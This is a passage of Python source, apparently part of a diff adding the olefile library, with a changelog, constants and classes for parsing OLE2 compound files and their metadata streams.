2005-05-11 v0.10 PL: - a few fixes for Python 2.4 compatibility +# (all changes flagged with [PL]) +# 2006-02-22 v0.11 PL: - a few fixes for some Office 2003 documents which raise +# exceptions in _OleStream.__init__() +# 2006-06-09 v0.12 PL: - fixes for files above 6.8MB (DIFAT in loadfat) +# - added some constants +# - added header values checks +# - added some docstrings +# - getsect: bugfix in case sectors >512 bytes +# - getsect: added conformity checks +# - DEBUG_MODE constant to activate debug display +# 2007-09-04 v0.13 PL: - improved/translated (lots of) comments +# - updated license +# - converted tabs to 4 spaces +# 2007-11-19 v0.14 PL: - added OleFileIO._raise_defect() to adapt sensitivity +# - improved _unicode() to use Python 2.x unicode support +# - fixed bug in _OleDirectoryEntry +# 2007-11-25 v0.15 PL: - added safety checks to detect FAT loops +# - fixed _OleStream which didn't check stream size +# - added/improved many docstrings and comments +# - moved helper functions _unicode and _clsid out of +# OleFileIO class +# - improved OleFileIO._find() to add Unix path syntax +# - OleFileIO._find() is now case-insensitive +# - added get_type() and get_rootentry_name() +# - rewritten loaddirectory and _OleDirectoryEntry +# 2007-11-27 v0.16 PL: - added _OleDirectoryEntry.kids_dict +# - added detection of duplicate filenames in storages +# - added detection of duplicate references to streams +# - added get_size() and exists() to _OleDirectoryEntry +# - added isOleFile to check header before parsing +# - added __all__ list to control public keywords in pydoc +# 2007-12-04 v0.17 PL: - added _load_direntry to fix a bug in loaddirectory +# - improved _unicode(), added workarounds for Python <2.3 +# - added set_debug_mode and -d option to set debug mode +# - fixed bugs in OleFileIO.open and _OleDirectoryEntry +# - added safety check in main for large or binary +# properties +# - allow size>0 for storages for some implementations +# 2007-12-05 v0.18 PL: - fixed several bugs in handling of FAT, MiniFAT and +# streams +# - added option '-c' in main to check all streams +# 2009-12-10 v0.19 PL: - bugfix for 32 bit arrays on 64 bits platforms +# (thanks to Ben G. and Martijn for reporting the bug) +# 2009-12-11 v0.20 PL: - bugfix in OleFileIO.open when filename is not plain str +# 2010-01-22 v0.21 PL: - added support for big-endian CPUs such as PowerPC Macs +# 2012-02-16 v0.22 PL: - fixed bug in getproperties, patch by chuckleberryfinn +# (https://bitbucket.org/decalage/olefileio_pl/issue/7) +# - added close method to OleFileIO (fixed issue #2) +# 2012-07-25 v0.23 PL: - added support for file-like objects (patch by mete0r_kr) +# 2013-05-05 v0.24 PL: - getproperties: added conversion from filetime to python +# datetime +# - main: displays properties with date format +# - new class OleMetadata to parse standard properties +# - added get_metadata method +# 2013-05-07 v0.24 PL: - a few improvements in OleMetadata +# 2013-05-24 v0.25 PL: - getproperties: option to not convert some timestamps +# - OleMetaData: total_edit_time is now a number of seconds, +# not a timestamp +# - getproperties: added support for VT_BOOL, VT_INT, V_UINT +# - getproperties: filter out null chars from strings +# - getproperties: raise non-fatal defects instead of +# exceptions when properties cannot be parsed properly +# 2013-05-27 PL: - getproperties: improved exception handling +# - _raise_defect: added option to set exception type +# - all non-fatal issues are now recorded, and displayed +# when run as a script +# 2013-07-11 v0.26 PL: - added methods to get modification and creation times +# of a directory entry or a storage/stream +# - fixed parsing of direntry timestamps +# 2013-07-24 PL: - new options in listdir to list storages and/or streams +# 2014-02-04 v0.30 PL: - upgraded code to support Python 3.x by Martin Panter +# - several fixes for Python 2.6 (xrange, MAGIC) +# - reused i32 from Pillow's _binary +# 2014-07-18 v0.31 - preliminary support for 4K sectors +# 2014-07-27 v0.31 PL: - a few improvements in OleFileIO.open (header parsing) +# - Fixed loadfat for large files with 4K sectors (issue #3) +# 2014-07-30 v0.32 PL: - added write_sect to write sectors to disk +# - added write_mode option to OleFileIO.__init__ and open +# 2014-07-31 PL: - fixed padding in write_sect for Python 3, added checks +# - added write_stream to write a stream to disk +# 2014-09-26 v0.40 PL: - renamed OleFileIO_PL to olefile +# 2014-11-09 NE: - added support for Jython (Niko Ehrenfeuchter) +# 2014-11-13 v0.41 PL: - improved isOleFile and OleFileIO.open to support OLE +# data in a string buffer and file-like objects. +# 2014-11-21 PL: - updated comments according to Pillow's commits +# 2015-01-24 v0.42 PL: - changed the default path name encoding from Latin-1 +# to UTF-8 on Python 2.x (Unicode on Python 3.x) +# - added path_encoding option to override the default +# - fixed a bug in _list when a storage is empty + +# ----------------------------------------------------------------------------- +# TODO (for version 1.0): +# + get rid of print statements, to simplify Python 2.x and 3.x support +# + add is_stream and is_storage +# + remove leading and trailing slashes where a path is used +# + add functions path_list2str and path_str2list +# + fix how all the methods handle unicode str and/or bytes as arguments +# + add path attrib to _OleDirEntry, set it once and for all in init or +# append_kids (then listdir/_list can be simplified) +# - TESTS with Linux, MacOSX, Python 1.5.2, various files, PIL, ... +# - add underscore to each private method, to avoid their display in +# pydoc/epydoc documentation - Remove it for classes to be documented +# - replace all raised exceptions with _raise_defect (at least in OleFileIO) +# - merge code from _OleStream and OleFileIO.getsect to read sectors +# (maybe add a class for FAT and MiniFAT ?) +# - add method to check all streams (follow sectors chains without storing all +# stream in memory, and report anomalies) +# - use _OleDirectoryEntry.kids_dict to improve _find and _list ? +# - fix Unicode names handling (find some way to stay compatible with Py1.5.2) +# => if possible avoid converting names to Latin-1 +# - review DIFAT code: fix handling of DIFSECT blocks in FAT (not stop) +# - rewrite OleFileIO.getproperties +# - improve docstrings to show more sample uses +# - see also original notes and FIXME below +# - remove all obsolete FIXMEs +# - OleMetadata: fix version attrib according to +# http://msdn.microsoft.com/en-us/library/dd945671%28v=office.12%29.aspx + +# IDEAS: +# - in OleFileIO._open and _OleStream, use size=None instead of 0x7FFFFFFF for +# streams with unknown size +# - use arrays of int instead of long integers for FAT/MiniFAT, to improve +# performance and reduce memory usage ? (possible issue with values >2^31) +# - provide tests with unittest (may need write support to create samples) +# - move all debug code (and maybe dump methods) to a separate module, with +# a class which inherits OleFileIO ? +# - fix docstrings to follow epydoc format +# - add support for big endian byte order ? +# - create a simple OLE explorer with wxPython + +# FUTURE EVOLUTIONS to add write support: +# see issue #6 on Bitbucket: +# https://bitbucket.org/decalage/olefileio_pl/issue/6/improve-olefileio_pl-to-write-ole-files + +# ----------------------------------------------------------------------------- +# NOTES from PIL 1.1.6: + +# History: +# 1997-01-20 fl Created +# 1997-01-22 fl Fixed 64-bit portability quirk +# 2003-09-09 fl Fixed typo in OleFileIO.loadfat (noted by Daniel Haertle) +# 2004-02-29 fl Changed long hex constants to signed integers +# +# Notes: +# FIXME: sort out sign problem (eliminate long hex constants) +# FIXME: change filename to use "a/b/c" instead of ["a", "b", "c"] +# FIXME: provide a glob mechanism function (using fnmatchcase) +# +# Literature: +# +# "FlashPix Format Specification, Appendix A", Kodak and Microsoft, +# September 1996. +# +# Quotes: +# +# "If this document and functionality of the Software conflict, +# the actual functionality of the Software represents the correct +# functionality" -- Microsoft, in the OLE format specification + +# ------------------------------------------------------------------------------ + + +# Standard Libraries +import array +import datetime +import io +import os.path +import struct +import sys +from contextlib import redirect_stdout + +# === COMPATIBILITY WORKAROUNDS ================================================ + +# [PL] Define explicitly the public API to avoid private objects in pydoc: +# TODO: add more +# __all__ = ['OleFileIO', 'isOleFile', 'MAGIC'] + +# For Python 3.x, need to redefine long as int: +if str is not bytes: + long = int + +# Need to make sure we use xrange both on Python 2 and 3.x: +try: + # on Python 2 we need xrange: + iterrange = xrange # type: ignore +except: + # no xrange, for Python 3 it was renamed as range: + iterrange = range + +# [PL] workaround to fix an issue with array item size on 64 bits systems: +if array.array("L").itemsize == 4: + # on 32 bits platforms, long integers in an array are 32 bits: + UINT32 = "L" +elif array.array("I").itemsize == 4: + # on 64 bits platforms, integers in an array are 32 bits: + UINT32 = "I" +elif array.array("i").itemsize == 4: + # On 64 bit Jython, signed integers ('i') are the only way to store our 32 + # bit values in an array in a *somewhat* reasonable way, as the otherwise + # perfectly suited 'H' (unsigned int, 32 bits) results in a completely + # unusable behaviour. This is most likely caused by the fact that Java + # doesn't have unsigned values, and thus Jython's "array" implementation, + # which is based on "jarray", doesn't have them either. + # NOTE: to trick Jython into converting the values it would normally + # interpret as "signed" into "unsigned", a binary-and operation with + # 0xFFFFFFFF can be used. This way it is possible to use the same comparing + # operations on all platforms / implementations. The corresponding code + # lines are flagged with a 'JYTHON-WORKAROUND' tag below. + UINT32 = "i" +else: + raise ValueError("Need to fix a bug with 32 bit arrays, please contact author...") + + +# [PL] These workarounds were inspired from the Path module +# (see http://www.jorendorff.com/articles/python/path/) +# TODO: test with old Python versions + +# Pre-2.3 workaround for basestring. +try: + basestring # type: ignore +except NameError: + try: + # is Unicode supported (Python >2.0 or >1.6 ?) + basestring = (str, unicode) # type: ignore + except NameError: + basestring = str + +# [PL] Experimental setting: if True, OLE filenames will be kept in Unicode +# if False (default PIL behaviour), all filenames are converted to Latin-1. +KEEP_UNICODE_NAMES = True + +if sys.version_info[0] < 3: + # On Python 2.x, the default encoding for path names is UTF-8: + DEFAULT_PATH_ENCODING = "utf-8" +else: + # On Python 3.x, the default encoding for path names is Unicode (None): + DEFAULT_PATH_ENCODING = None + + +# === DEBUGGING =============================================================== + +# TODO: replace this by proper logging + +# [PL] DEBUG display mode: False by default, use set_debug_mode() or "-d" on +# command line to change it. +DEBUG_MODE = False + + +def debug_print(msg): + print(msg) + + +def debug_pass(msg): + pass + + +debug = debug_pass + + +def set_debug_mode(debug_mode): + """ + Set debug mode on or off, to control display of debugging messages. + :param mode: True or False + """ + global DEBUG_MODE, debug + DEBUG_MODE = debug_mode + if debug_mode: + debug = debug_print + else: + debug = debug_pass + + +# === CONSTANTS =============================================================== + +# magic bytes that should be at the beginning of every OLE file: +MAGIC = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" + +# [PL]: added constants for Sector IDs (from AAF specifications) +MAXREGSECT = 0xFFFFFFFA # (-6) maximum SECT +DIFSECT = 0xFFFFFFFC # (-4) denotes a DIFAT sector in a FAT +FATSECT = 0xFFFFFFFD # (-3) denotes a FAT sector in a FAT +ENDOFCHAIN = 0xFFFFFFFE # (-2) end of a virtual stream chain +FREESECT = 0xFFFFFFFF # (-1) unallocated sector + +# [PL]: added constants for Directory Entry IDs (from AAF specifications) +MAXREGSID = 0xFFFFFFFA # (-6) maximum directory entry ID +NOSTREAM = 0xFFFFFFFF # (-1) unallocated directory entry + +# [PL] object types in storage (from AAF specifications) +STGTY_EMPTY = 0 # empty directory entry (according to OpenOffice.org doc) +STGTY_STORAGE = 1 # element is a storage object +STGTY_STREAM = 2 # element is a stream object +STGTY_LOCKBYTES = 3 # element is an ILockBytes object +STGTY_PROPERTY = 4 # element is an IPropertyStorage object +STGTY_ROOT = 5 # element is a root storage + + +# +# -------------------------------------------------------------------- +# property types + +VT_EMPTY = 0 +VT_NULL = 1 +VT_I2 = 2 +VT_I4 = 3 +VT_R4 = 4 +VT_R8 = 5 +VT_CY = 6 +VT_DATE = 7 +VT_BSTR = 8 +VT_DISPATCH = 9 +VT_ERROR = 10 +VT_BOOL = 11 +VT_VARIANT = 12 +VT_UNKNOWN = 13 +VT_DECIMAL = 14 +VT_I1 = 16 +VT_UI1 = 17 +VT_UI2 = 18 +VT_UI4 = 19 +VT_I8 = 20 +VT_UI8 = 21 +VT_INT = 22 +VT_UINT = 23 +VT_VOID = 24 +VT_HRESULT = 25 +VT_PTR = 26 +VT_SAFEARRAY = 27 +VT_CARRAY = 28 +VT_USERDEFINED = 29 +VT_LPSTR = 30 +VT_LPWSTR = 31 +VT_FILETIME = 64 +VT_BLOB = 65 +VT_STREAM = 66 +VT_STORAGE = 67 +VT_STREAMED_OBJECT = 68 +VT_STORED_OBJECT = 69 +VT_BLOB_OBJECT = 70 +VT_CF = 71 +VT_CLSID = 72 +VT_VECTOR = 0x1000 + +# map property id to name (for debugging purposes) + +VT = {} +for keyword, var in list(vars().items()): + if keyword[:3] == "VT_": + VT[var] = keyword + +# +# -------------------------------------------------------------------- +# Some common document types (root.clsid fields) + +WORD_CLSID = "00020900-0000-0000-C000-000000000046" +# TODO: check Excel, PPT, ... + +# [PL]: Defect levels to classify parsing errors - see OleFileIO._raise_defect() +DEFECT_UNSURE = 10 # a case which looks weird, but not sure it's a defect +DEFECT_POTENTIAL = 20 # a potential defect +DEFECT_INCORRECT = 30 # an error according to specifications, but parsing +# can go on +DEFECT_FATAL = 40 # an error which cannot be ignored, parsing is +# impossible + +# Minimal size of an empty OLE file, with 512-bytes sectors = 1536 bytes +# (this is used in isOleFile and OleFile.open) +MINIMAL_OLEFILE_SIZE = 1536 + +# [PL] add useful constants to __all__: +# for key in list(vars().keys()): +# if key.startswith('STGTY_') or key.startswith('DEFECT_'): +# __all__.append(key) + + +# === FUNCTIONS =============================================================== + + +def isOleFile(filename): + """ + Test if a file is an OLE container (according to the magic bytes in its header). + + :param filename: string-like or file-like object, OLE file to parse + + - if filename is a string smaller than 1536 bytes, it is the path + of the file to open. (bytes or unicode string) + - if filename is a string longer than 1535 bytes, it is parsed + as the content of an OLE file in memory. (bytes type only) + - if filename is a file-like object (with read and seek methods), + it is parsed as-is. + + :returns: True if OLE, False otherwise. + """ + # check if filename is a string-like or file-like object: + if hasattr(filename, "read"): + # file-like object: use it directly + header = filename.read(len(MAGIC)) + # just in case, seek back to start of file: + filename.seek(0) + elif isinstance(filename, bytes) and len(filename) >= MINIMAL_OLEFILE_SIZE: + # filename is a bytes string containing the OLE file to be parsed: + header = filename[: len(MAGIC)] + else: + # string-like object: filename of file on disk + header = open(filename, "rb").read(len(MAGIC)) + if header == MAGIC: + return True + else: + return False + + +if bytes is str: + # version for Python 2.x + def i8(c): # type: ignore + return ord(c) + +else: + # version for Python 3.x + def i8(c): + return c if c.__class__ is int else c[0] + + +# TODO: replace i16 and i32 with more readable struct.unpack equivalent? + + +def i16(c, o=0): + """ + Converts a 2-bytes (16 bits) string to an integer. + + :param c: string containing bytes to convert + :param o: offset of bytes to convert in string + """ + return i8(c[o]) | (i8(c[o + 1]) << 8) + + +def i32(c, o=0): + """ + Converts a 4-bytes (32 bits) string to an integer. + + :param c: string containing bytes to convert + :param o: offset of bytes to convert in string + """ + # return int(ord(c[o])+(ord(c[o+1])<<8)+(ord(c[o+2])<<16)+(ord(c[o+3])<<24)) + # # [PL]: added int() because "<<" gives long int since Python 2.4 + # copied from Pillow's _binary: + return i8(c[o]) | (i8(c[o + 1]) << 8) | (i8(c[o + 2]) << 16) | (i8(c[o + 3]) << 24) + + +def _clsid(clsid): + """ + Converts a CLSID to a human-readable string. + + :param clsid: string of length 16. + """ + assert len(clsid) == 16 + # if clsid is only made of null bytes, return an empty string: + # (PL: why not simply return the string with zeroes?) + if not clsid.strip(b"\0"): + return "" + return ("%08X-%04X-%04X-%02X%02X-" + "%02X" * 6) % ((i32(clsid, 0), i16(clsid, 4), i16(clsid, 6)) + tuple(map(i8, clsid[8:16]))) + + +def filetime2datetime(filetime): + """ + convert FILETIME (64 bits int) to Python datetime.datetime + """ + # TODO: manage exception when microseconds is too large + # inspired from http://code.activestate.com/recipes/511425-filetime-to-datetime/ + _FILETIME_null_date = datetime.datetime(1601, 1, 1, 0, 0, 0) + # debug('timedelta days=%d' % (filetime//(10*1000000*3600*24))) + return _FILETIME_null_date + datetime.timedelta(microseconds=filetime // 10) + + +# === CLASSES ================================================================== + + +class OleMetadata: + """ + class to parse and store metadata from standard properties of OLE files. + + Available attributes: + codepage, title, subject, author, keywords, comments, template, + last_saved_by, revision_number, total_edit_time, last_printed, create_time, + last_saved_time, num_pages, num_words, num_chars, thumbnail, + creating_application, security, codepage_doc, category, presentation_target, + bytes, lines, paragraphs, slides, notes, hidden_slides, mm_clips, + scale_crop, heading_pairs, titles_of_parts, manager, company, links_dirty, + chars_with_spaces, unused, shared_doc, link_base, hlinks, hlinks_changed, + version, dig_sig, content_type, content_status, language, doc_version + + Note: an attribute is set to None when not present in the properties of the + OLE file. + + References for SummaryInformation stream: + - http://msdn.microsoft.com/en-us/library/dd942545.aspx + - http://msdn.microsoft.com/en-us/library/dd925819%28v=office.12%29.aspx + - http://msdn.microsoft.com/en-us/library/windows/desktop/aa380376%28v=vs.85%29.aspx + - http://msdn.microsoft.com/en-us/library/aa372045.aspx + - http://sedna-soft.de/summary-information-stream/ + - http://poi.apache.org/apidocs/org/apache/poi/hpsf/SummaryInformation.html + + References for DocumentSummaryInformation stream: + - http://msdn.microsoft.com/en-us/library/dd945671%28v=office.12%29.aspx + - http://msdn.microsoft.com/en-us/library/windows/desktop/aa380374%28v=vs.85%29.aspx + - http://poi.apache.org/apidocs/org/apache/poi/hpsf/DocumentSummaryInformation.html + + new in version 0.25 + """ + + # attribute names for SummaryInformation stream properties: + # (ordered by property id, starting at 1) + SUMMARY_ATTRIBS = [ + "codepage", + "title", + "subject", + "author", + "keywords", + "comments", + "template", + "last_saved_by", + "revision_number", + "total_edit_time", + "last_printed", + "create_time", + "last_saved_time", + "num_pages", + "num_words", + "num_chars", + "thumbnail", + "creating_application", + "security", + ] + + # attribute names for DocumentSummaryInformation stream properties: + # (ordered by property id, starting at 1) + DOCSUM_ATTRIBS = [ + "codepage_doc", + "category", + "presentation_target", + "bytes", + "lines", + "paragraphs", + "slides", + "notes", + "hidden_slides", + "mm_clips", + "scale_crop", + "heading_pairs", + "titles_of_parts", + "manager", + "company", + "links_dirty", + "chars_with_spaces", + "unused", + "shared_doc", + "link_base", + "hlinks", + "hlinks_changed", + "version", + "dig_sig", + "content_type", + "content_status", + "language", + "doc_version", + ] + + def __init__(self): + """ + Constructor for OleMetadata + All attributes are set to None by default + """ + # properties from SummaryInformation stream + self.codepage = None + self.title = None + self.subject = None + self.author = None + self.keywords = None + self.comments = None + self.template = None + self.last_saved_by = None + self.revision_number = None + self.total_edit_time = None + self.last_printed = None + self.create_time = None + self.last_saved_time = None + self.num_pages = None + self.num_words = None + self.num_chars = None + self.thumbnail = None + self.creating_application = None + self.security = None + # properties from DocumentSummaryInformation stream + self.codepage_doc = None + self.category = None + self.presentation_target = None + self.bytes = None + self.lines = None + self.paragraphs = None + self.slides = None + self.notes = None + self.hidden_slides = None + self.mm_clips = None + self.scale_crop = None + self.heading_pairs = None + self.titles_of_parts = None + self.manager = None + self.company = None + self.links_dirty = None + self.chars_with_spaces = None + self.unused = None + self.shared_doc = None + self.link_base = None + self.hlinks = None + self.hlinks_changed = None + self.version = None + self.dig_sig = None + self.content_type = None + self.content_status = None + self.language = None + self.doc_version = None + + def parse_properties(self, olefile): + """ + Parse standard properties of an OLE file, from the streams + "\x05SummaryInformation" and "\x05DocumentSummaryInformation", + if present. + Properties are converted to strings, integers or python datetime objects. + If a property is not present, its value is set to None. + """ + # first set all attributes to None: + for attrib in self.SUMMARY_ATTRIBS + self.DOCSUM_ATTRIBS: + setattr(self, attrib, None) + if olefile.exists("\x05SummaryInformation"): + # get properties from the stream: + # (converting timestamps to python datetime, except total_edit_time, + # which is property #10) + props = olefile.getproperties("\x05SummaryInformation", convert_time=True, no_conversion=[10]) + # store them into this object's attributes: + for i in range(len(self.SUMMARY_ATTRIBS)): + # ids for standards properties start at 0x01, until 0x13 + value = props.get(i + 1, None) + setattr(self, self.SUMMARY_ATTRIBS[i], value) + if olefile.exists("\x05DocumentSummaryInformation"): + # get properties from the stream: + props = olefile.getproperties("\x05DocumentSummaryInformation", convert_time=True) + # store them into this object's attributes: + for i in range(len(self.DOCSUM_ATTRIBS)): + # ids for standards properties start at 0x01, until 0x13 + value = props.get(i + 1, None) + setattr(self, self.DOCSUM_ATTRIBS[i], value) + + def dump(self): + """ + Dump all metadata, for debugging purposes. + """ + print("Properties from SummaryInformation stream:") + for prop in self.SUMMARY_ATTRIBS: + value = getattr(self, prop) + print("- %s: %s" % (prop, repr(value))) + print("Properties from DocumentSummaryInformation stream:") + for prop in self.DOCSUM_ATTRIBS: + value = getattr(self, prop) + print("- %s: %s" % (prop, repr(value))) + + +# --- _OleStream --------------------------------------------------------------- + + +class _OleStream(io.BytesIO): + """ + OLE2 Stream + + Returns a read-only file object which can be used to read + the contents of a OLE stream (instance of the BytesIO class). + To open a stream, use the openstream method in the OleFile class. + + This function can be used with either ordinary streams, + or ministreams, depending on the offset, sectorsize, and + fat table arguments. + + Attributes: + + - size: actual size of data stream, after it was opened. + """ + + # FIXME: should store the list of sects obtained by following + # the fat chain, and load new sectors on demand instead of + # loading it all in one go. + + def __init__(self, fp, sect, size, offset, sectorsize, fat, filesize): + """ + Constructor for _OleStream class. + + :param fp: file object, the OLE container or the MiniFAT stream + :param sect: sector index of first sector in the stream + :param size: total size of the stream + :param offset: offset in bytes for the first FAT or MiniFAT sector + :param sectorsize: size of one sector + :param fat: array/list of sector indexes (FAT or MiniFAT) + :param filesize: size of OLE file (for debugging) + :returns: a BytesIO instance containing the OLE stream + """ + debug("_OleStream.__init__:") + debug(" sect=%d (%X), size=%d, offset=%d, sectorsize=%d, len(fat)=%d, fp=%s" % (sect, sect, size, offset, sectorsize, len(fat), repr(fp))) + # [PL] To detect malformed documents with FAT loops, we compute the + # expected number of sectors in the stream: + unknown_size = False + if size == 0x7FFFFFFF: + # this is the case when called from OleFileIO._open(), and stream + # size is not known in advance (for example when reading the + # Directory stream). Then we can only guess maximum size: + size = len(fat) * sectorsize + # and we keep a record that size was unknown: + unknown_size = True + debug(" stream with UNKNOWN SIZE") + nb_sectors = (size + (sectorsize - 1)) // sectorsize + debug("nb_sectors = %d" % nb_sectors) + # This number should (at least) be less than the total number of + # sectors in the given FAT: + if nb_sectors > len(fat): + raise IOError("malformed OLE document, stream too large") + # optimization(?): data is first a list of strings, and join() is called + # at the end to concatenate all in one string. + # (this may not be really useful with recent Python versions) + data = [] + # if size is zero, then first sector index should be ENDOFCHAIN: + if size == 0 and sect != ENDOFCHAIN: + debug("size == 0 and sect != ENDOFCHAIN:") + raise IOError("incorrect OLE sector index for empty stream") + # [PL] A fixed-length for loop is used instead of an undefined while + # loop to avoid DoS attacks: + for i in range(nb_sectors): + # Sector index may be ENDOFCHAIN, but only if size was unknown + if sect == ENDOFCHAIN: + if unknown_size: + break + else: + # else this means that the stream is smaller than declared: + debug("sect=ENDOFCHAIN before expected size") + raise IOError("incomplete OLE stream") + # sector index should be within FAT: + if sect < 0 or sect >= len(fat): + debug("sect=%d (%X) / len(fat)=%d" % (sect, sect, len(fat))) + debug("i=%d / nb_sectors=%d" % (i, nb_sectors)) + # tmp_data = b"".join(data) + # f = open('test_debug.bin', 'wb') + # f.write(tmp_data) + # f.close() + # debug('data read so far: %d bytes' % len(tmp_data)) + raise IOError("incorrect OLE FAT, sector index out of range") + # TODO: merge this code with OleFileIO.getsect() ? + # TODO: check if this works with 4K sectors: + try: + fp.seek(offset + sectorsize * sect) + except: + debug("sect=%d, seek=%d, filesize=%d" % (sect, offset + sectorsize * sect, filesize)) + raise IOError("OLE sector index out of range") + sector_data = fp.read(sectorsize) + # [PL] check if there was enough data: + # Note: if sector is the last of the file, sometimes it is not a + # complete sector (of 512 or 4K), so we may read less than + # sectorsize. + if len(sector_data) != sectorsize and sect != (len(fat) - 1): + debug("sect=%d / len(fat)=%d, seek=%d / filesize=%d, len read=%d" % (sect, len(fat), offset + sectorsize * sect, filesize, len(sector_data))) + debug("seek+len(read)=%d" % (offset + sectorsize * sect + len(sector_data))) + raise IOError("incomplete OLE sector") + data.append(sector_data) + # jump to next sector in the FAT: + try: + sect = fat[sect] & 0xFFFFFFFF # JYTHON-WORKAROUND + except IndexError: + # [PL] if pointer is out of the FAT an exception is raised + raise IOError("incorrect OLE FAT, sector index out of range") + # [PL] Last sector should be a "end of chain" marker: + if sect != ENDOFCHAIN: + raise IOError("incorrect last sector index in OLE stream") + data = b"".join(data) + # Data is truncated to the actual stream size: + if len(data) >= size: + data = data[:size] + # actual stream size is stored for future use: + self.size = size + elif unknown_size: + # actual stream size was not known, now we know the size of read + # data: + self.size = len(data) + else: + # read data is less than expected: + debug("len(data)=%d, size=%d" % (len(data), size)) + raise IOError("OLE stream size is less than declared") + # when all data is read in memory, BytesIO constructor is called + io.BytesIO.__init__(self, data) + # Then the _OleStream object can be used as a read-only file object. + + +# --- _OleDirectoryEntry ------------------------------------------------------- + + +class _OleDirectoryEntry: + + """ + OLE2 Directory Entry + """ + + # [PL] parsing code moved from OleFileIO.loaddirectory + + # struct to parse directory entries: + # <: little-endian byte order, standard sizes + # (note: this should guarantee that Q returns a 64 bits int) + # 64s: string containing entry name in unicode (max 31 chars) + null char + # H: uint16, number of bytes used in name buffer, including null = (len+1)*2 + # B: uint8, dir entry type (between 0 and 5) + # B: uint8, color: 0=black, 1=red + # I: uint32, index of left child node in the red-black tree, NOSTREAM if none + # I: uint32, index of right child node in the red-black tree, NOSTREAM if none + # I: uint32, index of child root node if it is a storage, else NOSTREAM + # 16s: CLSID, unique identifier (only used if it is a storage) + # I: uint32, user flags + # Q (was 8s): uint64, creation timestamp or zero + # Q (was 8s): uint64, modification timestamp or zero + # I: uint32, SID of first sector if stream or ministream, SID of 1st sector + # of stream containing ministreams if root entry, 0 otherwise + # I: uint32, total stream size in bytes if stream (low 32 bits), 0 otherwise + # I: uint32, total stream size in bytes if stream (high 32 bits), 0 otherwise + STRUCT_DIRENTRY = "<64sHBBIII16sIQQIII" + # size of a directory entry: 128 bytes + DIRENTRY_SIZE = 128 + assert struct.calcsize(STRUCT_DIRENTRY) == DIRENTRY_SIZE + + def __init__(self, entry, sid, olefile): + """ + Constructor for an _OleDirectoryEntry object. + Parses a 128-bytes entry from the OLE Directory stream. + + :param entry : string (must be 128 bytes long) + :param sid : index of this directory entry in the OLE file directory + :param olefile: OleFileIO containing this directory entry + """ + self.sid = sid + # ref to olefile is stored for future use + self.olefile = olefile + # kids is a list of children entries, if this entry is a storage: + # (list of _OleDirectoryEntry objects) + self.kids = [] + # kids_dict is a dictionary of children entries, indexed by their + # name in lowercase: used to quickly find an entry, and to detect + # duplicates + self.kids_dict = {} + # flag used to detect if the entry is referenced more than once in + # directory: + self.used = False + # decode DirEntry + (name, namelength, self.entry_type, self.color, self.sid_left, self.sid_right, self.sid_child, clsid, self.dwUserFlags, self.createTime, self.modifyTime, self.isectStart, sizeLow, sizeHigh) = struct.unpack( + _OleDirectoryEntry.STRUCT_DIRENTRY, entry + ) + if self.entry_type not in [STGTY_ROOT, STGTY_STORAGE, STGTY_STREAM, STGTY_EMPTY]: + olefile._raise_defect(DEFECT_INCORRECT, "unhandled OLE storage type") + # only first directory entry can (and should) be root: + if self.entry_type == STGTY_ROOT and sid != 0: + olefile._raise_defect(DEFECT_INCORRECT, "duplicate OLE root entry") + if sid == 0 and self.entry_type != STGTY_ROOT: + olefile._raise_defect(DEFECT_INCORRECT, "incorrect OLE root entry") + # debug (struct.unpack(fmt_entry, entry[:len_entry])) + # name should be at most 31 unicode characters + null character, + # so 64 bytes in total (31*2 + 2): + if namelength > 64: + olefile._raise_defect(DEFECT_INCORRECT, "incorrect DirEntry name length") + # if exception not raised, namelength is set to the maximum value: + namelength = 64 + # only characters without ending null char are kept: + name = name[: (namelength - 2)] + # TODO: check if the name is actually followed by a null unicode character ([MS-CFB] 2.6.1) + # TODO: check if the name does not contain forbidden characters: + # [MS-CFB] 2.6.1: "The following characters are illegal and MUST NOT be part of the name: '/', '\', ':', '!'." + # name is converted from UTF-16LE to the path encoding specified in the OleFileIO: + self.name = olefile._decode_utf16_str(name) + + debug("DirEntry SID=%d: %s" % (self.sid, repr(self.name))) + debug(" - type: %d" % self.entry_type) + debug(" - sect: %d" % self.isectStart) + debug(" - SID left: %d, right: %d, child: %d" % (self.sid_left, self.sid_right, self.sid_child)) + + # sizeHigh is only used for 4K sectors, it should be zero for 512 bytes + # sectors, BUT apparently some implementations set it as 0xFFFFFFFF, 1 + # or some other value so it cannot be raised as a defect in general: + if olefile.sectorsize == 512: + if sizeHigh != 0 and sizeHigh != 0xFFFFFFFF: + debug("sectorsize=%d, sizeLow=%d, sizeHigh=%d (%X)" % (olefile.sectorsize, sizeLow, sizeHigh, sizeHigh)) + olefile._raise_defect(DEFECT_UNSURE, "incorrect OLE stream size") + self.size = sizeLow + else: + self.size = sizeLow + (long(sizeHigh) << 32) + debug(" - size: %d (sizeLow=%d, sizeHigh=%d)" % (self.size, sizeLow, sizeHigh)) + + self.clsid = _clsid(clsid) + # a storage should have a null size, BUT some implementations such as + # Word 8 for Mac seem to allow non-null values => Potential defect: + if self.entry_type == STGTY_STORAGE and self.size != 0: + olefile._raise_defect(DEFECT_POTENTIAL, "OLE storage with size>0") + # check if stream is not already referenced elsewhere: + if self.entry_type in (STGTY_ROOT, STGTY_STREAM) and self.size > 0: + if self.size < olefile.minisectorcutoff and self.entry_type == STGTY_STREAM: # only streams can be in MiniFAT + # ministream object + minifat = True + else: + minifat = False + olefile._check_duplicate_stream(self.isectStart, minifat) + + def build_storage_tree(self): + """ + Read and build the red-black tree attached to this _OleDirectoryEntry + object, if it is a storage. + Note that this method builds a tree of all subentries, so it should + only be called for the root object once. + """ + debug("build_storage_tree: SID=%d - %s - sid_child=%d" % (self.sid, repr(self.name), self.sid_child)) + if self.sid_child != NOSTREAM: + # if child SID is not NOSTREAM, then this entry is a storage. + # Let's walk through the tree of children to fill the kids list: + self.append_kids(self.sid_child) + + # Note from OpenOffice documentation: the safest way is to + # recreate the tree because some implementations may store broken + # red-black trees... + + # in the OLE file, entries are sorted on (length, name). + # for convenience, we sort them on name instead: + # (see rich comparison methods in this class) + self.kids.sort() + + def append_kids(self, child_sid): + """ + Walk through red-black tree of children of this directory entry to add + all of them to the kids list. (recursive method) + + :param child_sid : index of child directory entry to use, or None when called + first time for the root. (only used during recursion) + """ + # [PL] this method was added to use simple recursion instead of a complex + # algorithm. + # if this is not a storage or a leaf of the tree, nothing to do: + if child_sid == NOSTREAM: + return + # check if child SID is in the proper range: + if child_sid < 0 or child_sid >= len(self.olefile.direntries): + self.olefile._raise_defect(DEFECT_FATAL, "OLE 